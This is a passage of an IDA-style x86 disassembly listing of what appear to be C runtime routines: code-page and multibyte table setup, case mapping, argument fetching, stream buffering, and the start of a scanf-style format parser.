		jg	short loc_420046


loc_420063:				; CODE XREF: sub_420035+Bj
					; sub_420035+25j
		pop	edi
		pop	esi
		retn
sub_420035	endp


; =============== S U B	R O U T	I N E =======================================



sub_420066	proc near		; CODE XREF: sub_41F8BF+670p
					; sub_41F8BF+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42009A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_42007C:				; CODE XREF: sub_420066+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420000
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42009A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_42007C


loc_42009A:				; CODE XREF: sub_420066+Cj
					; sub_420066+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420066	endp


; =============== S U B	R O U T	I N E =======================================



sub_42009E	proc near		; CODE XREF: sub_41F8BF+E5p
					; sub_41F8BF+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42009E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200AB	proc near		; CODE XREF: sub_41F8BF+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_4200AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BB	proc near		; CODE XREF: sub_41F8BF+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_4200BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200C9	proc near		; CODE XREF: sub_42048D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420262
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_4DF304
		mov	[ebp+arg_0], esi
		jz	loc_420256
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42024C
		xor	edx, edx
		mov	eax, offset dword_43F1B0


loc_4200FD:				; CODE XREF: sub_4200C9+41j
		cmp	[eax], esi
		jz	short loc_420173
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43F2A0
		jl	short loc_4200FD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 0C30004h
		push	edi
		cmp	eax, 1
		jnz	loc_420244
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DF420
		cmp	[ebp+var_18], 1
		mov	ds:dword_4DF304, esi
		rep stosd
		stosb
		mov	ds:dword_4DF524, ebx
		jbe	loc_420232
		cmp	[ebp+var_12], 0
		jz	loc_420208
		lea	ecx, [ebp+var_11]


loc_420150:				; CODE XREF: sub_4200C9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420208
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_420161:				; CODE XREF: sub_4200C9+A8j
		cmp	eax, edx
		ja	loc_4201FC
		or	ds:byte_4DF421[eax], 4
		inc	eax
		jmp	short loc_420161
; ---------------------------------------------------------------------------


loc_420173:				; CODE XREF: sub_4200C9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DF420
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43F1C0[esi]


loc_42018F:				; CODE XREF: sub_4200C9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_4201C2


loc_420196:				; CODE XREF: sub_4200C9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_4201C2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_4201BB
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_43F1A8[edx]


loc_4201B0:				; CODE XREF: sub_4200C9+F0j
		or	ds:byte_4DF421[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_4201B0


loc_4201BB:				; CODE XREF: sub_4200C9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420196


loc_4201C2:				; CODE XREF: sub_4200C9+CBj
					; sub_4200C9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42018F
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4DF31C, 1
		push	eax
		mov	ds:dword_4DF304, eax
		call	sub_4202AC
		lea	esi, dword_43F1B4[esi]
		mov	edi, offset dword_4DF310
		movsd
		movsd
		pop	ecx
		mov	ds:dword_4DF524, eax
		movsd
		jmp	short loc_420251
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200C9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_420150


loc_420208:				; CODE XREF: sub_4200C9+7Ej
					; sub_4200C9+8Bj
		push	1
		pop	eax


loc_42020B:				; CODE XREF: sub_4200C9+14Fj
		or	ds:byte_4DF421[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42020B
		push	esi
		call	sub_4202AC
		pop	ecx
		mov	ds:dword_4DF524, eax
		mov	ds:dword_4DF31C, 1
		jmp	short loc_420238
; ---------------------------------------------------------------------------


loc_420232:				; CODE XREF: sub_4200C9+74j
		mov	ds:dword_4DF31C, ebx


loc_420238:				; CODE XREF: sub_4200C9+167j
		xor	eax, eax
		mov	edi, offset dword_4DF310
		stosd
		stosd
		stosd
		jmp	short loc_420251
; ---------------------------------------------------------------------------


loc_420244:				; CODE XREF: sub_4200C9+51j
		cmp	ds:dword_4DDF40, ebx
		jz	short loc_42025A


loc_42024C:				; CODE XREF: sub_4200C9+27j
		call	sub_4202DF


loc_420251:				; CODE XREF: sub_4200C9+131j
					; sub_4200C9+179j
		call	loc_420308


loc_420256:				; CODE XREF: sub_4200C9+1Dj
		xor	eax, eax
		jmp	short loc_42025D
; ---------------------------------------------------------------------------


loc_42025A:				; CODE XREF: sub_4200C9+181j
		or	eax, 0FFFFFFFFh


loc_42025D:				; CODE XREF: sub_4200C9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4200C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420262	proc near		; CODE XREF: sub_4200C9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_4DDF40, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_420281+1
		mov	ds:dword_4DDF40, 1
		call	near ptr 0B10000h


loc_420281:				; CODE XREF: sub_420262+Ej
		cmp	[ebx+1075FDF8h], eax
		mov	ds:dword_4DDF40, 1
		call	near ptr 0C10004h
		in	eax, 83h	; DMA page register 74LS612:
					; Channel 1 (address bits 16-23)
		clc
		cld
		jnz	short locret_4202AB
		mov	eax, ds:dword_4DDF84
		mov	ds:dword_4DDF40, 1

locret_4202AB:				; CODE XREF: sub_420262+38j
		retn
sub_420262	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202AC	proc near		; CODE XREF: sub_4200C9+118p
					; sub_4200C9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4202D9
		sub	eax, 4
		jz	short loc_4202D3
		sub	eax, 0Dh
		jz	short loc_4202CD
		dec	eax
		jz	short loc_4202C7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4202C7:				; CODE XREF: sub_4202AC+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4202CD:				; CODE XREF: sub_4202AC+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4202D3:				; CODE XREF: sub_4202AC+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4202D9:				; CODE XREF: sub_4202AC+9j
		mov	eax, 411h
		retn
sub_4202AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202DF	proc near		; CODE XREF: sub_4200C9:loc_42024Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DF420
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DF310
		mov	ds:dword_4DF304, eax
		mov	ds:dword_4DF31C, eax
		mov	ds:dword_4DF524, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4202DF	endp

; ---------------------------------------------------------------------------


loc_420308:				; CODE XREF: sub_4200C9:loc_420251p
		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	ds:dword_4DF304
		call	near ptr 0C50004h
		xor	eax, 0F01F883h
		test	[esi], edx
		add	[eax], eax
		add	[ebx], dh
		sar	byte ptr [esi+100h], 88h ; CODE	XREF: seg000:0042033Cj
		test	ds:0FFFFFEECh, al
		inc	eax
		cmp	eax, esi
		jb	short near ptr loc_42032C+6
		mov	al, [ebp-0Eh]
		mov	byte ptr [ebp-114h], 20h
		test	al, al
		jz	short loc_420383
		push	ebx
		push	edi
		lea	edx, [ebp-0Dh]


loc_420351:				; CODE XREF: seg000:0042037Fj
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420378
		sub	ecx, eax
		lea	edi, [ebp+eax-114h]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420378:				; CODE XREF: seg000:00420359j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420351
		pop	edi
		pop	ebx


loc_420383:				; CODE XREF: seg000:0042034Aj
		push	0
		lea	eax, [ebp-514h]
		push	ds:dword_4DF524
		push	ds:dword_4DF304
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	1
		call	loc_423F37
		push	0
		lea	eax, [ebp-214h]
		push	ds:dword_4DF304
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	esi
		push	ds:dword_4DF524
		call	loc_422DA3
		push	0
		lea	eax, [ebp-314h]
		push	ds:dword_4DF304
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	200h
		push	ds:dword_4DF524
		call	loc_422DA3
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp-514h]


loc_4203FE:				; CODE XREF: seg000:0042043Dj
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_42041C
		or	ds:byte_4DF421[eax], 10h
		mov	dl, [ebp+eax-214h]


loc_420414:				; CODE XREF: seg000:0042042Fj
		mov	ds:byte_4DF320[eax], dl
		jmp	short loc_420438
; ---------------------------------------------------------------------------


loc_42041C:				; CODE XREF: seg000:00420404j
		test	dl, 2
		jz	short loc_420431
		or	ds:byte_4DF421[eax], 20h
		mov	dl, [ebp+eax-314h]
		jmp	short loc_420414
; ---------------------------------------------------------------------------


loc_420431:				; CODE XREF: seg000:0042041Fj
		and	ds:byte_4DF320[eax], 0


loc_420438:				; CODE XREF: seg000:0042041Aj
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4203FE
		jmp	short loc_42048A
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	esi, 100h


loc_420448:				; CODE XREF: seg000:00420488j
		cmp	eax, 41h
		jb	short loc_420466
		cmp	eax, 5Ah
		ja	short loc_420466
		or	ds:byte_4DF421[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42045E:				; CODE XREF: seg000:0042047Cj
		mov	ds:byte_4DF320[eax], cl
		jmp	short loc_420485
; ---------------------------------------------------------------------------


loc_420466:				; CODE XREF: seg000:0042044Bj
					; seg000:00420450j
		cmp	eax, 61h
		jb	short loc_42047E
		cmp	eax, 7Ah
		ja	short loc_42047E
		or	ds:byte_4DF421[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42045E
; ---------------------------------------------------------------------------


loc_42047E:				; CODE XREF: seg000:00420469j
					; seg000:0042046Ej
		and	ds:byte_4DF320[eax], 0


loc_420485:				; CODE XREF: seg000:00420464j
		inc	eax
		cmp	eax, esi
		jb	short loc_420448


loc_42048A:				; CODE XREF: seg000:0042043Fj
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42048D	proc near		; CODE XREF: seg000:0042317Fp
					; sub_4231CE+Dp ...
		cmp	ds:dword_4DF554, 0
		jnz	short locret_4204A8
		push	0FFFFFFFDh
		call	sub_4200C9
		pop	ecx
		mov	ds:dword_4DF554, 1

locret_4204A8:				; CODE XREF: sub_42048D+7j
		retn
sub_42048D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204A9	proc near		; CODE XREF: sub_41BBC1+2Bp
					; sub_41BBC1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4DF31C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4204CD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B7E0
		add	esp, 0Ch
		jmp	short loc_420530
; ---------------------------------------------------------------------------


loc_4204CD:				; CODE XREF: sub_4204A9+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420512
		mov	ecx, [ebp+arg_4]


loc_4204D8:				; CODE XREF: sub_4204A9+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_4DF421[esi], 4
		mov	[edi], al
		jz	short loc_4204FC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420508
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_42050E
		jmp	short loc_420502
; ---------------------------------------------------------------------------


loc_4204FC:				; CODE XREF: sub_4204A9+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420512


loc_420502:				; CODE XREF: sub_4204A9+51j
		test	edx, edx
		jnz	short loc_4204D8
		jmp	short loc_420512
; ---------------------------------------------------------------------------


loc_420508:				; CODE XREF: sub_4204A9+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420512
; ---------------------------------------------------------------------------


loc_42050E:				; CODE XREF: sub_4204A9+4Fj
		and	byte ptr [edi-2], 0


loc_420512:				; CODE XREF: sub_4204A9+2Aj
					; sub_4204A9+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42052D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42052D:				; CODE XREF: sub_4204A9+6Fj
		mov	eax, [ebp+arg_0]


loc_420530:				; CODE XREF: sub_4204A9+22j
		pop	edi
		pop	ebp
		retn
sub_4204A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420533	proc near		; CODE XREF: sub_41BDAD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4DDF74, 0
		push	ebx
		jnz	short loc_42055E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4205FC
		cmp	eax, 7Ah
		jg	loc_4205FC
		sub	eax, 20h
		jmp	loc_4205FC
; ---------------------------------------------------------------------------


loc_42055E:				; CODE XREF: sub_420533+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420591
		cmp	ds:dword_43F194, 1
		jle	short loc_42057E
		push	2
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420589
; ---------------------------------------------------------------------------


loc_42057E:				; CODE XREF: sub_420533+3Dj
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420589:				; CODE XREF: sub_420533+49j
		test	eax, eax
		jnz	short loc_420591


loc_42058D:				; CODE XREF: sub_420533+AFj
		mov	eax, ebx
		jmp	short loc_4205FC
; ---------------------------------------------------------------------------


loc_420591:				; CODE XREF: sub_420533+34j
					; sub_420533+58j
		mov	edx, ds:off_43EF88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4205B4
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_4205BD
; ---------------------------------------------------------------------------


loc_4205B4:				; CODE XREF: sub_420533+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_4205BD:				; CODE XREF: sub_420533+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_4DDF74
		call	loc_422DA3
		add	esp, 20h
		test	eax, eax
		jz	short loc_42058D
		cmp	eax, 1
		jnz	short loc_4205EF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4205FC
; ---------------------------------------------------------------------------


loc_4205EF:				; CODE XREF: sub_420533+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4205FC:				; CODE XREF: sub_420533+14j
					; sub_420533+1Dj ...
		pop	ebx
		leave
		retn
sub_420533	endp


; =============== S U B	R O U T	I N E =======================================



sub_4205FF	proc near		; CODE XREF: sub_41BFCC+1Dp
					; sub_41D5DE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_4DDEB8, ecx
		mov	eax, offset dword_43F2A0


loc_420610:				; CODE XREF: sub_4205FF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420634
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43F408
		jl	short loc_420610
		cmp	ecx, 13h
		jb	short loc_420641
		cmp	ecx, 24h
		ja	short loc_420641
		mov	ds:dword_4DDEB4, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420634:				; CODE XREF: sub_4205FF+13j
		mov	eax, ds:dword_43F2A4[edx*8]
		mov	ds:dword_4DDEB4, eax
		retn
; ---------------------------------------------------------------------------


loc_420641:				; CODE XREF: sub_4205FF+23j
					; sub_4205FF+28j
		cmp	ecx, 0BCh
		jb	short loc_42065B
		cmp	ecx, 0CAh
		mov	ds:dword_4DDEB4, 8
		jbe	short locret_420665


loc_42065B:				; CODE XREF: sub_4205FF+48j
		mov	ds:dword_4DDEB4, 16h

locret_420665:				; CODE XREF: sub_4205FF+5Aj
		retn
sub_4205FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420666	proc near		; CODE XREF: sub_41BFF6+8p
					; sub_41D3DC+9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_424080
		test	eax, eax
		pop	ecx
		jz	short loc_4206EF
		cmp	esi, offset dword_43F578
		jnz	short loc_420684
		xor	eax, eax
		jmp	short loc_42068F
; ---------------------------------------------------------------------------


loc_420684:				; CODE XREF: sub_420666+18j
		cmp	esi, offset dword_43F598
		jnz	short loc_4206EF
		push	1
		pop	eax


loc_42068F:				; CODE XREF: sub_420666+1Cj
		inc	ds:dword_4DDF8C
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4206EF
		cmp	ds:dword_4DDF44[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:4DDF44h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4206D5
		push	ebx
		call	sub_41B6C5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4206D5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4206E2
; ---------------------------------------------------------------------------


loc_4206D5:				; CODE XREF: sub_420666+4Dj
					; sub_420666+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4206E2:				; CODE XREF: sub_420666+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4206EF:				; CODE XREF: sub_420666+10j
					; sub_420666+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420666	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206F3	proc near		; CODE XREF: sub_41BFF6+24p
					; sub_41D3DC+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_42071D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42072E
		push	esi
		call	sub_41DDAB
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42071D:				; CODE XREF: sub_4206F3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42072E
		push	eax
		call	sub_41DDAB
		pop	ecx


loc_42072E:				; CODE XREF: sub_4206F3+10j
					; sub_4206F3+32j
		pop	esi
		retn
sub_4206F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420730	proc near		; CODE XREF: sub_41C835+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_421136
		mov	edi, [ebp+arg_0]
		jmp	short loc_42075F
; ---------------------------------------------------------------------------


loc_42075A:				; CODE XREF: sub_420730+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42075F:				; CODE XREF: sub_420730+28j
		cmp	ds:dword_43F194, 1
		jle	short loc_420777
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420786
; ---------------------------------------------------------------------------


loc_420777:				; CODE XREF: sub_420730+36j
		mov	ecx, ds:off_43EF88
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420786:				; CODE XREF: sub_420730+45j
		cmp	eax, ebx
		jz	short loc_4207C0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_4211BD
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4211A6
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D890
		add	esp, 0Ch


loc_4207AE:				; CODE XREF: sub_420730+8Ej
		test	eax, eax
		jz	short loc_4207C0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D890
		pop	ecx
		jmp	short loc_4207AE
; ---------------------------------------------------------------------------


loc_4207C0:				; CODE XREF: sub_420730+58j
					; sub_420730+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_4210A2
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4207F7:				; CODE XREF: sub_420730+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_43F194, 1
		jle	short loc_420814
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420823
; ---------------------------------------------------------------------------


loc_420814:				; CODE XREF: sub_420730+D3j
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420823:				; CODE XREF: sub_420730+E2j
		test	eax, eax
		jz	short loc_420839
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42089E
; ---------------------------------------------------------------------------


loc_420839:				; CODE XREF: sub_420730+F5j
		cmp	ebx, 4Eh
		jg	short loc_42087C
		jz	short loc_42089E
		cmp	ebx, 2Ah
		jz	short loc_420877
		cmp	ebx, 46h
		jz	short loc_42089E
		cmp	ebx, 49h
		jz	short loc_420859
		cmp	ebx, 4Ch
		jnz	short loc_42088B
		inc	[ebp+var_D]
		jmp	short loc_42089E
; ---------------------------------------------------------------------------


loc_420859:				; CODE XREF: sub_420730+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42088B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42088B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42089E
; ---------------------------------------------------------------------------


loc_420877:				; CODE XREF: sub_420730+113j
		inc	[ebp+var_E]
		jmp	short loc_42089E
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420730+10Cj
		cmp	ebx, 68h
		jz	short loc_420898
		cmp	ebx, 6Ch
		jz	short loc_420890
		cmp	ebx, 77h
		jz	short loc_420893


loc_42088B:				; CODE XREF: sub_420730+122j
					; sub_420730+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42089E
; ---------------------------------------------------------------------------


loc_420890:				; CODE XREF: sub_420730+154j
		inc	[ebp+var_D]


loc_420893:				; CODE XREF: sub_420730+159j
		inc	[ebp+var_5]
		jmp	short loc_42089E
; ---------------------------------------------------------------------------


loc_420898:				; CODE XREF: sub_420730+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42089E:				; CODE XREF: sub_420730+107j
					; sub_420730+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4207F7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4208C3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4208C3:				; CODE XREF: sub_420730+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4208E1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4208DD
		cmp	al, 43h
		jz	short loc_4208DD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4208E1
; ---------------------------------------------------------------------------


loc_4208DD:				; CODE XREF: sub_420730+1A1j
					; sub_420730+1A5j
		mov	[ebp+var_5], 1


loc_4208E1:				; CODE XREF: sub_420730+19Bj
					; sub_420730+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_42091A
		cmp	esi, 63h
		jz	short loc_42090B
		cmp	esi, 7Bh
		jz	short loc_42090B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4211BD
		pop	ecx
		jmp	short loc_420916
; ---------------------------------------------------------------------------


loc_42090B:				; CODE XREF: sub_420730+1C5j
					; sub_420730+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42118C


loc_420916:				; CODE XREF: sub_420730+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_42091A:				; CODE XREF: sub_420730+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42092A
		cmp	[ebp+var_C], eax
		jz	loc_421106


loc_42092A:				; CODE XREF: sub_420730+1EFj
